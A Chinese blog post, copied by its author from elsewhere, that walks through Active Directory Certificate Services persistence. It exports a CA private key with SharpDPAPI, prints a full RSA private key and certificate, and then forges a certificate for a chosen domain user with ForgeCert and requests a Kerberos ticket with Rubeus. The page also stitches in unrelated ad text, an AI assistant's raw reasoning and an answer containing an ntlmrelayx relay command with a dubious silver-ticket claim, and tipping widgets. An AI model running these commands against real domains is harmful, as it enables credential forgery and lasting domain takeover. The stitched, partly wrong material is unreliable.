ADCS攻击之权限维持

本文详细介绍了如何在ADCS环境中备份CA的私钥,使用SharpDPAPI和ForgeCert工具进行证书操作,以及如何利用Rubeus获取ticket.kirbi,重点讨论了权限维持的技巧,特别强调了伪造证书时需注意的账户类型限制。
部署运行你感兴趣的模型镜像

优快云文章自动迁移老文章

这篇文章在社区看的,自己没有操作,就直接复制过来

导出私钥

界面操作

在ADCS中,打开证书颁发机构

certsrv.msc

所有任务–>备份CA

进行导出,导出格式选择*.PFX*.p12都可以

这里输入的密码需要牢记,后面伪造证书时需要

命令行操作

使用SharpDPAPI,参考:https://github.com/GhostPack/SharpDPAPI

SharpDPAPI.exe certificates /machine

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArGw/w8kFHUHfh9dDnP0JA0rNXzfH4QPSjNt8KZ6H/HB6DfLh
YFmCQ5ICmZChF1cX/jUTgoMUQKKwpL5PVPmKEpU5pVMWKpJ0QfSUo1bpKm8Ddm82
V95L8dulXQoTvk7ULRNrV5Gb9ZfTNDIqlvTxfDCLveoEsl47KngewQmJWOmCJVAK
aG2IYOMn5aCaCbMGq5a2Zasn+y8cgJnUu2XFesEGD9PYJXcatXNirHyugtoWzeON
G8zSazA7LUxc7c5p7TA+dKl0sRMAoQUbaCCeUqlu+s1ad8FzbOOQuNbVGXWVQCww
QigYzht7thIEBTAwW+NxQfMCxKNfemey2nq2YQIDAQABAoIBABBiUubUTbebgFWk
p2ieBMK602wWXVhs6A95dcFwroRW3cpAh5kDuGSaVcPo4d3ZaU6/FWUD9qMzsmxd
JyWwdqXQZ0Nl80fFVeXEi3E/+3UMSnxxEe1kkrvfPsXqBLlDPVcxLrSKAhNiw2+E
ytZAXUgLRuQbfinC2YVuF6IJOXNoyNFegSkIJLKmma80kvMqcbL6u/GLsxAfG/ch
OsAhBhV1mD5q5Lzb9aO3hpQsJzQ/oR6qYAWTpQv/zkHNZEV5o3a09gafWwsHv7Tr
VSO7G9rnSIluDPoLf5RIaFoxOkxJUkQUPSTryGa8gDuc3oxXjuhqFkVNOkOpsppL
gIEcUU8CgYEA6MAZZFhGcHNMaNAwqnwqXRpl+ulHJsjcsd97sL51GdebEVgubU9B
P02ztn0fO7oizHo5RpDwgEgS89LU8BGHICMm1MqhHcJY09JmtCYe+NaV2dOI8OzW
uH7g9QMedH8A+K8MVFFUVo6Z1o5b7pks6yUDlVjNuTRX6OiinCoYz/cCgYEAvaVz
tqDMmvffyBLmAxcA2N1yy8tVKQRbK0BnNwbggZrmFhi3j2RVSL7JwKDLAZjkyCAt
dsjdfMKeksg3/hm30ulILNIoqgl5/uczIS/JDshDs7VaeHX+dPkRm2sAz15EvTs1
Y/sl9iVoKNHAEPk8IgwvG4zrgeLXV70dK7YKxmcCgYBmL3i2cn8yfZxtZAIJx4u9
5oohd+uyHnuuaETg2y2EVAGTwthXS3WE+nNNSm+9BEKk7YBZ9+ZvG7WecNDmOXvO
4z/4KqJD84CWNwi6TQZKD8Qop1O3GvRGegX/7Aeh8+SUSh4qoq5ZdjAaX9QC1CNB
dbW2Cw//IPj7m69QyrasDwKBgHSgPhPuuUUH8K/Kp3b4+4ViUglwBvQNgL+NgKv/
Z6tshdjK5H+jNStiYRI8D/vweal02GC3UDY8PWaJCJ4UVM64tbESoP1IjKSsq+3Z
xCx6DeCDQ5rW/WAUF7bbTAk6sM0qjz/oIEVKZc7MhvApRciuc33e4KnkxYdofnr2
HZQ7AoGAPuuNNYtpEp09YH0H0fEvphvcd/nNXzXmtsm5uEcPUIvEk/5c9PRkrG8p
GsFmaX586Yl7BlOoWFFHd8hLwx5Blt12//q9IFEQMIqSo0/4X2JbSyb87cM9ppRb
LmMpxKHZLdA8LKgOXpLajjLs6E3WKFWi6onBerQ9UOz3v3fjcGk=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDXzCCAkegAwIBAgIQHLWcNl+enYBDrnZIDpBhWzANBgkqhkiG9w0BAQsFADBC
MRMwEQYKCZImiZPyLGQBGRYDY29tMRMwEQYKCZImiZPyLGQBGRYDc3VuMRYwFAYD
VQQDEw1zdW4tTUFUUklYLUNBMB4XDTIyMDUwNzA4MjExMloXDTI3MDUwNzA4MzEx
MlowQjETMBEGCgmSJomT8ixkARkWA2NvbTETMBEGCgmSJomT8ixkARkWA3N1bjEW
MBQGA1UEAxMNc3VuLU1BVFJJWC1DQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKxsP8PJBR1B34fXQ5z9CQNKzV83x+ED0ozbfCmeh/xweg3y4WBZgkOS
ApmQoRdXF/41E4KDFECisKS+T1T5ihKVOaVTFiqSdEH0lKNW6SpvA3ZvNlfeS/Hb
pV0KE75O1C0Ta1eRm/WX0zQyKpb08Xwwi73qBLJeOyp4HsEJiVjpgiVQCmhtiGDj
J+WgmgmzBquWtmWrJ/svHICZ1LtlxXrBBg/T2CV3GrVzYqx8roLaFs3jjRvM0msw
Oy1MXO3Oae0wPnSpdLETAKEFG2ggnlKpbvrNWnfBc2zjkLjW1Rl1lUAsMEIoGM4b
e7YSBAUwMFvjcUHzAsSjX3pnstp6tmECAwEAAaNRME8wCwYDVR0PBAQDAgGGMA8G
A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFE38bnpAIzVQfsJFhgc1pfo+FoghMBAG
CSsGAQQBgjcVAQQDAgEAMA0GCSqGSIb3DQEBCwUAA4IBAQA0AONEbI2f9BxOAfxX
ZEMfQKnLApRkXq0PUYqcKaTiystMYHzc8DC1Y+jZo4ch+vyqzYRZ45WRcDC21gi8
y9Atsl8IvbwOkFvsbQtcf28Nbb2Dh6UYqpuzDUd/NuIZNMrSkjaBtzYuxmFzN7+l
VjBzm3rhh8ycVB4Hr99Me2cCjjtxEju73qASs941VLI/V3nWXeVlqNMbdVuhuO6r
SCqM991KuvO6LWZ/aSUpUxiltObN99l7JJnhHLDGh5P/EQLxrrDSXywFhhnq2Toj
Jt97Egk00E+hAK7BGV2XXUJxc7pdmz2S9V5Wimp+DdSF9Mrnv7v8H7CGRx71Irad
Jk4X
-----END CERTIFICATE-----

按照提示将pem文件转换为PFX文件

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

输入的密码需要牢记,后面伪造证书时需要

制作伪造证书

使用ForgeCert,参考:https://github.com/GhostPack/ForgeCert

P12和PFX使用方法是一致的

CaCertPassword:导出证书时设置的密码 NewCertPassword:伪造证书添加的密码

ForgeCert.exe --CaCertPath cert.pfx --CaCertPassword "Wsx123." --Subject "CN=User" --SubjectAltName "matrix@sun.com" --NewCertPath new.pfx --NewCertPassword "Password123!"

获取ticket.kirbi

利用Rubeus获取ticket.kirbi

Rubeus.exe asktgt /user:matrix /certificate:new.pfx /password:Password123!

注意

伪造证书的账户需要时域用户或者机器账户,不能是krbtgt账户

转载请注明:Adminxe's Blog » ADCS攻击之权限维持

您可能感兴趣的与本文相关的镜像

ACE-Step

ACE-Step

音乐合成
ACE-Step

ACE-Step是由中国团队阶跃星辰(StepFun)与ACE Studio联手打造的开源音乐生成模型。 它拥有3.5B参数量,支持快速高质量生成、强可控性和易于拓展的特点。 最厉害的是,它可以生成多种语言的歌曲,包括但不限于中文、英文、日文等19种语言

<think>好的,用户的问题是关于ADCS的,他们可能遇到了拼写错误或者对缩写不理解的情况。首先,我需要确认ADCS的含义。根据提供的引用,ADCS指的是Active Directory Certificate Services,即活动目录证书服务。用户可能是在内网安全或渗透测试的上下文中遇到这个术语,所以需要详细解释ADCS的基本概念、功能以及相关安全风险。 接下来,用户提供的引用中有多个关于ADCS的利用和配置的信息,比如证书模板的安全性问题、NTLM中继攻击和安装配置步骤。需要将这些信息整合起来,说明ADCS在域环境中的作用,以及攻击者可能利用的漏洞,比如证书模板权限配置不当导致的权限提升。 然后,用户可能想知道ADCS的具体应用场景和为什么在安全研究中重要。需要结合引用中的案例,如AD CS Relay攻击,说明攻击者如何通过获取证书来进一步入侵域控,强调正确配置ADCS的重要性。 最后,生成相关问题时要覆盖ADCS的基础知识、安全配置、攻击方式和防御措施,确保问题能够帮助用户全面理解ADCS的相关内容。</think>ADCS是Active Directory Certificate Services(活动目录证书服务)的缩写,它是Windows Server提供的用于创建、管理和颁发数字证书的核心服务[^4]。该服务通过公钥基础设施(PKI)为域环境提供身份验证、数据加密和数字签名功能。 ### 核心功能解析 1. **证书颁发** 可创建多种类型的数字证书,包括: - 用户身份验证证书(如智能卡登录) - 服务器SSL证书(用于IIS等Web服务) - 代码签名证书(验证软件来源可靠性) 2. **证书模板管理** 证书模板作为AD安全对象,其权限配置至关重要。错误配置可能导致安全风险,例如: ```powershell # 查看证书模板权限的命令示例 Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" -Filter * -Properties ntSecurityDescriptor ``` 若低权限用户拥有`Write`权限,可能被用于伪造证书[^3]。 3. **证书吊销列表(CRL)** 通过定期发布的CRL实现证书状态验证,错误配置可能导致证书吊销机制失效。 ### 安全风险场景 1. **NTLM中继攻击** 攻击者利用ADCS服务作为中继目标,获取域控证书: ```bash # 使用impacket工具进行中继攻击示例 ntlmrelayx.py -t https://adcs-server/certsrv/certfnsh.asp --adcs --template DomainController ``` 成功后可生成银票(Silver Ticket)进行持久化控制[^1][^2]。 2. **证书模板滥用** 当证书模板配置允许低权限用户注册域控制器证书时,攻击者可能通过Web Enrollment接口(通常位于`/certsrv/`)申请高权限证书[^3]。 ### 防御建议 1. 定期审计证书模板权限 2. 禁用不必要的Web Enrollment服务 3. 配置CRL分发点(CDP)和授权信息访问(AIA)路径 4. 保持ADCS服务器补丁更新
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值